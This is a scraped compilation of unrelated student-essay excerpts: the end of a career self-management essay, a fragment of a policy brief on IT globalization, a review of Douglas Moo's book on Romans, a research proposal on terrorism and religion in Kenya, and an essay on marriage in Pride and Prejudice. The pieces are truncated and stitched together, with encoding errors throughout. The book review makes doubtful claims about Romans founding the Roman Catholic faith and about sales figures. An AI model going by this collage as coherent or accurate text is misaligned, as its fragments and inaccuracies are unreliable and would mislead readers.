cannot take the responsibility of looking for alternative careers or placement of employees i n alternative jobs. Therefore, over the period of employment, organisations cannot ensure that employees do not become redundant in the event of a merger or acquisition by ensuring that they individually have the capacity manage their own careers. King (2004) asserts that when organisational life ends up being turbulent or unpredictable, individual career management becomes the only appropriate mechanism for ensuring navigation through the world of turbulence. De Vos and Soens (2008) and Hall (2004) confirm how the concept of the protean career is important for survival of employees in the turbulence. In the protean workplace, there is high job insecurity so that employees cannot consider themselves having a life-long career (Hall 2004). This claim suggests that when a job comes today, one cannot have an assurance that it will be there the following day. Therefore employees have the responsibility of assessing the employment markets, monitor career trends, and/or expect future chang es in the industry. Thus, they need to look for qualifications and appropriate skills that are necessary for thriving in a changing employment market. This process involves individual career management. Organisations cannot forecast and prepare their employees for future changes in skills and knowledge requirements (Hall 2004). Consistent with Hall’s (2004) assertion, issues such as globalisation and intense employment of technology in driving organisations’ competitive advantage lead to redundancy of some employees when their skills become no more viable in technologically savvy operational environment. Although an organisation may train and develop its employees to ensure they can perform their traditional duties in new technological business environments, such an attempt may not be feasible after its cost and benefits analysis is conducted. Consequently, cheaper alternatives such as new hires while disposing redundant employees may be favourable to an organisation. To avoid this situation, individual career management is inevitable for employees. De Vos and Soens (2008) support the need for employees to embrace protean career attitudes. Their research tests a theoretical model where they stipulate the correlation between ‘protean career attitude, career self-management behaviours, career insight, and career success outcomes (career satisfaction and perceived employability)’ (De Vos Soens 2008, p.449). The research deploys a sample size of 289 workers. Similar to Hall’s (2004) theoretical propositions, De Vos and Soens’ (2008) results suggest that protean career attitudes directly correlate with the anticipation of career success with career development insights that provide a mediating effect. Hence, a positive attitude towards career turbulence within an organisation fosters individual career management. Conclusion In a globalised and technologically driven world, employees need to anticipate unprecedented changes in their career demands. Therefore, they need to adopt requisite strategies for ensuring that they advance their knowledge and skills to meet the new demands. Failure to follow this path, protean career demands might force them out of the employment system since new jobs come with a new set of skills and knowledge requirements. The reviewed literature suggests that employees should not look upon their employers to manage their careers in preparation for their future changes. Rather, they should self-manage themselves. They can achieve this goal by adopting a positive attitude towards protean careers and preparing to face the dynamics of modern workplaces. Most importantly, they must assess the employment market to determine future skills and knowledge requirements. After understanding industry trends, they can then look for corresponding qualifications and skills. This plan calls for self-determination and adoption of personal initiatives to manage one’s career. Consequently, it is sufficiently sound to conclude that all aspects that correlate directly with career self-management behaviours are important in organisations’ programmes for training employees on their individual career management. References Ans, D Jesse, S 2013, ‘Self-Directed Career Attitude and Retirement Intentions’, Career Development International, vol.18 no. 2, pp. 155-172. Chiaburu, D, Baker, V Pitairu, A 2006, ‘Beyond Being Proactive: What (else) Matters for Career Self-Management Behaviours?’, Career Development International, vol. 11 no. 7, pp. 619-632. De Vos, A Soens, N 2008, ‘Protean Attitudes and Career Success: The Mediating Roles of Self-Management’, Journal of Vocational Behaviour, vol. 73 no. 3, pp. 449-456. Hall, D 2004, ‘The protean career: A quarter-century journey’, Journal of Vocational Behaviour, vol. 65 no.1, pp. 1–13. Hirschi, A Freud, P 2014, ‘Career Engagement: Investigating Intra-indivi dual Predictors of Weekly Fluctuations in Proactive Career Behaviours’, The Career Development Quarterly, vol. 62 no. 1, pp. 5-20. King, Z 2004, ‘Career Self-Management: Its Nature, Causes and Consequences’, Journal of Vocational Behaviour, vol. 65 no. 1, pp. 112-133. Quigley, N Tymon, W 2006, ‘Towards an Integrated Model of Intrinsic Motivation and Career Self-Management, Career Development International, vol. 11 no. 6, pp. 522-543. Raabe, B, Frese, M Beehr, T 2007, ‘Action Regulation Theory and Career Self-Management’, Journal of Vocational Behaviour, vol. 70 no. 2, pp. 297-311.

Policy brief for globalization Research Paper Example | Topics and Well Written Essays - 1250 words

Policy brief for globalization - Research Paper Example changes triggered the increment of business transformation and IT investments.2 Irrespective of the fact that the entry of IT into the field of business operations was disruptive to workers and also businesses, it had a major influence on the two areas, and the impacts contributed to the growth of productivity, income, employment levels and a reduction in inflation levels. The institution of a more in-depth diffusion of IT in the economy of the US is likely to trigger another wave of production increment. Towards the realization of that, the producers based in the US should increase the production of hardware, as well as services and software, which will trigger a reduction in the prices of services and software.3 The outcome will be the reduction in the overall cost of accessing and employing IT systems for more businesses, which will trigger the incidence of a second productivity boom.4 Apart from increasing the production of the software, hardware and the services produced in the US, the services and the software that are imported at expensive rates can be produced locally, which will reduce the costs of the packages, taking into account that the production facilities will be closer to the customers; the products and services can also be produced with the specific specifications of businesses in American. The globalization of IT services and software will imply that some of the IT employment offered by the facilities will be transferred to overseas production centers. However, with the increasing uptake of IT services and software packages within the borders of the US, high-skill capacity for the development of IT services and software packages will be increased within the American IT sector, and the employment positions requiring the usage of these skills will become abundant throughout the American society. The conclusion of this policy brief is that the globalization of the production of IT hardware will offer the model required for the evolution of

Encountering the Book of Romans by Douglas Moo Literature review

Encountering the Book of Romans by Douglas Moo - Literature review Example Most bible scholars identify the major books they need to major on and proceed to get the necessary information on where to base their studies. Douglas Moo in the book, Encountering the Book of Romans, has simplified the work of most populace by addressing the book of Romans in the Bible. Throughout the history of religion in general, the book has had an interest to scholars and the foundation of the Roman Catholic faith is based on the name. Researchers, therefore, have little to do but need to get to the shops and obtain the one important link to the study and an in depth look as well as a proper analysis of the book of Romans as described. The book was published On December 2002 by the Baker publishing group and has had various sales whose range is close to four hundred thousand. The basics of the writings are clear, concise, and the message is to all parties seeking to know about the letter of Paul to the Romans. The book is not one to pass by on the counter especially the theolo gical readers and scholars, and like most well written books, this one is a great self-discovery adventure. The cover page is well printed with an advance picture of a building which most people would view as an old fashioned empire church. The imprints are bold presumably to depict the importance of the contemporary writing and what is actually contained inside. The creation is set to encounter the bible studies especially with a great concentration on the book of Romans and the impact of the writings therein to a moderate reader. Douglas J. Moo is a PhD holder in the University of St. Andrews and has a wide knowledge on theological issues. He is a Blanchard Professor of New Testament at Wheaton College and also the author to various books and commentaries on biblical writings such as the books of Judges, 2 Peter, Jude and James. Based on his academic circle and knowledge, the lecturer has provide a book worth reading and one that leaves those who come across it fulfilled and havin g a quest for more. Over the years, many theorists have raised questions on just what intended and what he had in mind regarding how the book of Romans is to be read. Moo has simplified this and has given guidelines especially to scholars and students with regard to the ancient letter and provided the basis for contemporary debates. The theme of the book centres on the gospel of Christ Jesus and in writing the book, the author has a purpose to help create an identity to the Roman Christians and help them understand their history of salvation chain. The structure of the book is centred on the letter, and the author shows key aspects such as the introduction which shows a proper understanding of the book based on the first century (Moo, 2002, p.7). Other issues discussed include the prevailing events during the life of Paul and also the situations in the lives of the proceeding readers. In this context, the author bases his study on two approaches including the reformation and the new perspective approach which are grounds for interpretation of the letter. Scholars thus need to decide which approach to use and which best suits their learning needs as the two provide different ways of interpretation. The book is segmented, with each segment further split into well-defined topics for easy navigation and access of study material. The broad networking has made it even available for study and print in the world through website and shops. The contents of the book are well aligned with the contents of the prevailing chapters flowing from the preceding. Moo lays the groundwork for reading the ancient book and provides the arguments that the book

Terrorism and Religion in Kenya

Terrorism and Religion in Kenya EXPLORATION OF THE INTERPLAY BETWEEN TERRORISM RELIGION AND THE IMPACT ON PEACE STABILITY IN KENYA 1. Introduction 1.1 Background to the Research The growing trends of terrorism in Africa, and in the region of Inter-Governmental Authority on Development [IGAD] in particular within which Kenya finds itself, have become a serious concern for security. Its impact on peace and economic development is significantly negative. Many lives have been lost, and fear and anxiety in the people is slowly creeping in. Kenya serves as an epitome of the phenomenon of terrorism taking place in the globe, and the IGAD region in particular. All these reasons necessitated the undertaking of this research at the micro level (i.e., Kenya). Through this study, the authors hope to present a complete grasp of the nature of terrorism and its development in Kenya, with a view to making contributions towards the knowledge of terrorism and addressing it. It is difficult to give a universally acceptable definition of terrorism. Because of its dependence on the historical contexts it appears, its definition is embedded in one’s political position and ideological or religiousviews. What one may call terrorism in one context another may consider it a legitimate action. This poses a challenge to term an actor a ‘terrorist’.Some governments, groups and individuals use terrorising activities for different purposes. For these reasons, here the term ‘terrorism’ rather than ‘terrorist’ is preferred. Terrorism is, therefore, a set of premeditated actions or strategies adopted by non-state (groups or individuals) or state actors against ordinary and targeted notable people to further certain political, social, or religious purposes (Sandler, 2011; Ramsbotham, Woodhouse and Miall, 2011). Without prejudice to state and government terrorist activities existing in some non-democratic countries, this research will focus more on the violent activities perpetrated by the non-state actors. The actors in terrorism use strategies intended to causeextreme anxiety and fear in a wider population, who – theactors hope – wouldin turn pressurize their governments into acceding to the perpetrator/s’ demands. We consider ‘terrorist act’ any form of action that intentionally force people into submission to the will and wish of the actor under the pain of physical and psychological harm (including destruction of life and property). Terrorist activities are not recent phenomenon, although the magnitude of its violence and casualties of our time is impressive. Today, at the dawn of the 21st century, the world experiences the era of the politico-religious wave terrorism. Putting aside the harrowing and terrorizing local experiences of terrorist activities in individual countries throughout the world (e.g., pogroms, criminal activities of groups, of drag cartels and gangs, and state sponsored activities in some countries), the major â€Å"waves of terrorism†(Rapoport, 2008) indicate the growing trends of terrorism globally. Today’s form of terrorism has grown more complicated and transnational, which the IGAD region and Kenya in particular experiences. The experience of Africa of the politico-religious terrorism is recent and growing phenomenon. It is continuing in some countries and emerging in other countries of the Continent. In Northern Africa, it has been off and on: Algeria Mali, Niger and Mauritania have been struggling with Al Qaida in the Islamic Maghreb since 2001, with another break away branch â€Å"Movement for Oneness and Jihad in West Africa† (MOJWA) in mid-2011 led by a black African, perhaps in reaction to Algerian Arab domination. It remains an al Qaida inspired group. Egypt has a long experience of on-and-off attacks. Somalia in Eastern Africa has been a place for the new breed of terrorism, Al Shabab with links to Al Quida. The Boko Haram, a Sunni Islamic fundamentalist sect began in 2002 with one Mohammed Yusuf in Maiduguri, the capital of the north-eastern state of Borno, Nigeria, with a complex religious school that attracted young people from the country and its neighbours. The students came mainly fr om poor Muslim families. It has moved to a radical militant Islamist movement, a salafist jihadi group with the influence of Wahhabi creed, with expressed claim of commitment to the propagation of the teaching of Prophet and Jihad, and strict adherence to sharia law, and with vision of changingNigeria into an Islamic state. It is continuing with devastating activities in Nigeria, particularly since 2009,and now (in 2014) expanding even into northern Cameroon. The IGAD region of Africa is rife with terrorism perpetrated by the non-state actors.IGAD region comprises eight countries, namely Ethiopia, Eritrea, Djibouti, Kenya, Somalia, South Sudan, Sudan and Uganda, with its headquarters in Djibouti City. It was founded in 1986 to address the serious sufferings and challenges caused by famine, natural disasters, and economic hardships in the Eastern Africa Region. Today, with its new organisational structure, the member countries cooperate in the areas of foodsecurity and environmental protection; promotion and maintenance of peace and security and humanitarian affairs; and economic cooperation and integration (IGAD, http://igad.int/). The region has an estimated population of 242,226,382 according to the July 2014 CIA’s The World Factbook, and suffers constant threat of terrorism, the experience of which is being deeply felt in Kenya Kenya’s population, according The World Factbook, is estimated to be 45,010,056.The Christians account for the majority of the population (82.5%), followed by Muslims (11.1%) according to the Population and Housing Census of 2009. In the IGAD region, Kenya it has been the host of the largest refugee population, although at the moment with the flow of South Sudanese refugees Ethiopia contains slightly more refugee population. Kenya has experienced terrorism by non-state actors since 1950s. The shifta activities in the northern Kenya, and the ensuing state actions were forms of terrorism. Today, Kenya suffers from both national and transnational acts of politico-religious terrorism. The country has been employing different mechanisms of addressing the problem of non-state form of terrorism, mainly focusing on military means but also in recent times through constitutional reforms to address the sources. These have not shown reduction in terrorism; the experience of nationalist form of terrorism is continuing; the politico-religious form of terrorism is rising. Globally, the period starting from the 2004 pick of terrorism incidents to 2008 showed a considerable decline in international terrorist attacks(Ramsbotham et al., 2011, p. 80). But the situations today in the Middle East, the Persian Gulf, northern Africa, and the IGAD regionare no consolation to us. It shows the exponential rise of terrorism in these parts of the regions of the world. The 2014 Global Peace Index Report concludes: â€Å"The world has become less peaceful every year since 2008† (p. 2). This indicates the importance of better understanding of the nature of the conflict and its trends to be able to face the challenge. 1.2 Statement of the Problem Kenya faces a more aggressive, dynamic and destructive form of terrorism with tactics causing a great physical, psychological, and economic damages to the society. The approaches that have been used so far appear to be ineffective. There is a need to assess the nature of terrorism and the mechanisms that have been applied in addressing it. 1.3 Purpose of the Study This research explores the nature of terrorism and mechanisms available in addressing it. 1.4 Objectives of the Study To determine the relationship between terrorism and religion To document trends in terrorism in Kenya To determine the effect of terrorism on peace and development To determine feasibility conditions of terrorism To determine mechanisms of combating terrorism 1.5 Research Questions What is the relationship between terrorism and religion? Are there trends in terrorism in Kenya? What effects does terrorism have on peace and development? What are the feasibility conditions of terrorism? What mechanisms are available in combating terrorism? 1.6 Theoretical Framework This research uses two complementary theories: theory of good governance and theory of strong state. (The assumptions of these theories will be added). 1.7 Justification of the Study To make contribution towards the knowledge of terrorism Offer comprehensive analysis on terrorism in Kenya for policy makers Offer recommendations relevant for the process of addressing the problem 2. LITERATURE REVIEW 2.1 Understanding the Link between Religion and Terrorism In the literature, there seem to be two broad categories into which the scholars argue: those who consider religion as not being the cause of terrorism, but instead argue that the causes for violence are due to politics or societal problems (extreme poverty, hunger, etc.) (Jackson, 2007; Mamdani, 2002; Ehrlich Liu 2002; Frisch, 2005;Mousseau, 2002). The second category includes scholars who argue that religion is among the main driving forces of terror(Crenshaw, 2000; Pearce, 2005;Silberman, Higgins Dweck,2005;Cliteur, 2010; Rid, 2010; KruglanskiFishman, 2006; Horowitz, 2009). Both groups agree that that religion is not ‘the’ cause of terrorism. However, these authors have not investigated specific religious motivations involved in the terrorism. This research tries to examine more specifically the religious motivations provided by Islam that draws recruits in Kenya, so as to better understand and address the issue. 2.2 Feasibility conditions of Terrorism A number of factors breed terrorism. The most common factors cited in most of the literature include external support (Pillar, 2001; Campbell Flournoy, 2001), repressive governments (Regan, 2005;Bjoro, 2003; Netanyahu, 2001; Carson, 2005), extremist religious ideologies (CilliersSturman 2002;Moustapha, 2002), and socio-economic conditions among the Muslim populations (Campbell Flournoy, 2001; Pillar, 2001 ;Carson ,2005). 2.3 Impact of terrorism in Kenya Despite Kenya being a victim of repeated terrorist attacks, not much literature is available covering the impact the threat has had on the country in terms of peace and security. Some literature relevant to this research highlight the socioeconomic impacts of the threat (Lecey, 2004;Barkan Cooke, 2001; Muhula, 2007; Downing, 2006 ). This research to determine the extent to which terrorism has affected Kenya. 2.4 Combating Terrorism Some elements of an effective counterterrorism strategy relevant to this research, cited by various authors, are public diplomacy and information campaigns(Pillar, 2001); legislation; financial controls (Pillar, 2001;Thomas et al. 2004) and socioeconomic development (Lee, 2004;Campbell Flournoy, 2001); use of military force (Netanyahu, 2001;Juergensmeyer, 2001); and creation of a specialized judicial system for terrorism suspects (Hoffman and Morrison, 2000; Netanyahu, 2001; Shapiro Benedict, 2003). International collaboration is also another aspect that has been underscored (Ramsbotham et al., 2011). How much these will be effective in addressing Terrorism in Kenya will be discussed. 3. METHODOLOGY The research plan hopes to achieve the objectives through multiple answering of the research questions thereby coming up with answers that are social science empirical research knowledge. This knowledge will not only make a contribution to what is already known about the nature and dynamics of terrorism in Kenya, but also be valuable in terms of informing policy in Kenya as is synoptically described below. Research Site Areas of Eastern and Northern Kenya and also selected urban places of the country as a whole Population Adult men and women who are knowledgeable direct (experience based) or indirect (Secondary source based) about terrorist and terrorism in Kenya. Strategy One- off cross-sectional survey will be used. Specifically, because the research will be guided by questions and not hypotheses, descriptive rather than analytic cross-sectional survey will be employed in the collection of data from the sampled population. Thus the prime purpose will be to provide descriptive estimates of the purview of actors in terrorism, terror acts and terrorism. Sampling Due in part to opting to be guided by research questions rather than hypotheses, the probability sampling principle will be relaxed in large measure but not totally dispensed with because of the need to provide estimates of parameters of dynamics of terrorism in Kenya, taking into account Kenyas neighbours ( Ethiopia, Somalia, South Sudan, Uganda). The Sample will be constructed from individuals well selected purposefully to meet quotas deemed to be important or salient to getting to know and understand terroristic phenomena what they mean, what they entail, what they imply, what they deny, and what to do about them solely in the interest of socio-economic development praxis in Kenya. Data Collection Procedures Quantitative and qualitative data will be collected from respondents through questionnaire, structured and unstructured interview and focus group discussions. Tentative Budget Budget lines Amount in USD Preparation and Development of Research tools 800 Training of Research Assistants 1,200 Field Research 4,500 Technical Assistance for Data Analysis 1,200 Report Writing 400 Validation Workshop 1,000 Printing Binding and Distribution 900 Logistics (Stationary, Communication, Internet) 1,500 Allowance for Lead researcher and Research Assistants 3,500 Grand Total 15,000 Bibligography Barkan, Joel D., and Jennifer G. Cooke.2001. U.S. Policy Towards Kenya in the Wake of September 11, Can Antiterrorist Imperatives be Reconciled with Enduring U.S. Foreign Policy Goals? Africa Center for Strategic Studies web page article on-line. http://csis.org/files/media/csis/pubs/anotes_0112.pdf. Internet.Accessed December 2014. Bjorgo, Tore. 2003. Finding for an International Expert Meeting in Oslo on Terrorism. Conference, Norwegian Institute of International Affairs 9-11 June. Norway. Campbell, Kurt M., and Michele A. Flournoy. 2001. To Prevail, An America Strategy for the Campaign against Terrorism. Washington, DC: Center for Africa Strategic Studies. Carson, Johnnie. (2005). Kenya the Struggle Against Terrorism. inRotberg, I. Robert (ed). Battling Terrorism in the Horn of Africa. World Peace Foundation, Brookings Institution Press, Washington DC CIA.The World Factbook.https://www.cia.gov/index.html Cilliers, Jakkie, and Kathryn Sturman. 2002. Africa and Terrorism, Joining the Global Campaign, Monograph 74, July. Pretoria. Institute for Security Studies. Article on web page.Available online from www.iss.co.za/ PUBS/MONOGRAPHS/NO74 /Chap1.html.Internet.Accessed December, 2014. Cliteur, Paul B.(2010) â€Å"Religion and Violence or the Reluctance to Study This Relationship.† Forum Philosophicum15. Crenshaw, Martha.(2000) â€Å"The Psychology of Terrorism: An Agenda for the 21st Century.† Political Psychology 21.2. Downing Wyne.( 2006). Al Qaidas (Mis) Adventures in The Horn of Africa. Harmony Project, Combating Terrorism Centre, Westpoint, USA Ehrlich, Paul R. and Jianguo Liu. (2002)â€Å"Some Roots of Terrorism.†Population and Environment 24.2. Frisch, Hillel. (2005) â€Å"Has the Israeli-Palestinian Conflict Become Islamic?Fatah, Islam, and the Al-Aqsa Martyrs’ Brigades.†Terrorism and Political Conflict 17.3. Horowitz, Michael C. (2009)â€Å"Long Time Going: Religion and the Duration of Crusading.† International Security 34.2. IGAD.http://igad.int/ Institute for Economics and Peace. (2004). Five Key Questions Answered on the Link between Peace and Religion. http://www.ecomomicsand peace.org Jackson, Richard. (2007) â€Å"Constructing Enemies: ‘Islamic Terrorism’ in Political and Academic Discourse.†Government and Opposition 42.3 Kruglanski, Arie and Shira Fishman. (2006) â€Å"The Psychology of Terrorism: â€Å"Syndrome† Versus â€Å"Tool† Perspectives.† Terrorism and Political Violence 18 Lecey, Marc. (2004). Threat of Terrorism Hurts Kenya Tourism. The New York Times, January. Available on-line from http://proquest.umi/pqdweb? Mamdani,Mahmood. (2002) â€Å"Good Muslim, Bad Muslim: A Political Perspective on Culture and Terrorism.† American Anthropologist 104.3. Mousseau, Michael (2002). â€Å"Market Civilization and its Clash With Terror.† International Security 27.3 Moustapha, Hassouna. (2002). Why Radicals Find Fertile Ground in Moderate Kenya, President Bush met with Kenya President Moi to Discuss Security issues. The Christian Science Monitor, 6 December. Article on-line. Available from http://www.csmonitor.com/2002/1206/p07s02-woaf.html.Internet.Accessed December 2014. Muhula, Raymond. (2007). Kenya and the Global war on Terrorism: Searching for a New Role in a New War in Davis, John (ed). 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The Theme of Marriage in Jane Austens Pride And Prejudice Essays

The Theme of Marriage in Jane Austen's Pride And Prejudice One of the main themes in Pride And Prejudice is marriage. Throughout the novel, the author describes the various types of marriages and reasons behind them. "It is a truth universally acknowledged, that a single man in possession of a good fortune must be in want of a wife. The novel demonstrates how many women need to marry men they are not in love with simply in order to gain financial security. The first instance of marriage seen in the novel is that between Mr and Mrs Bennet. However it is far from perfect, with the couple barely speaking to each other. Mr Bennet's extreme sarcasm that is seen throughout the book makes Mrs Bennet seem incompetent to hold a conversation and indeed at times a relationship. "They are silly and ignorant, like other girls". Austen uses the Bennet's relationship to illustrate at the beginning of the book that clearly many did not marry because of love or connection but merely for social and financial acceptance. The Longbourn estate is an extreme hardship on the Bennet family; it produces a hurdle in Mrs Bennet's goal to get all of her children married. The entailment of Mr Bennet's estate leaves his daughters in a poor financial situation, which both requires them to marry and makes it more difficult for them to marry. It might be correct in assuming that Mrs Bennet felt social and financial pressure to get all of her children married. Her husband's estate was entailed to his nephew, Mr. Collins. Therefore, Mrs. Bennet wanted her daughters to have financial stability elsewhere in case of their father's death. "If you go on refusing eve... .... Austen creates a character that is not special in any particular way but is yet so perfect to fulfil the role of a wife. We see that she is well dressed, educated, and creative. It is these qualities that attract Darcy as well as Elizabeth's apparent unwillingness to actually marry. Ultimately Elizabeth wants to marry for love. She turns down Mr Collins, even though he could have offered her a comfortable position in life and Mr Darcy, even with his fortune of  £10 000 a year. Austen uses different characters and their relationships to represent to the reader different aspects of marriage. Austen wants to create the perfect marriage but in doing this shows the reader that no marriage is perfect. She highlights how money and social status was far more desirable in the 19th century then true love and appreciation.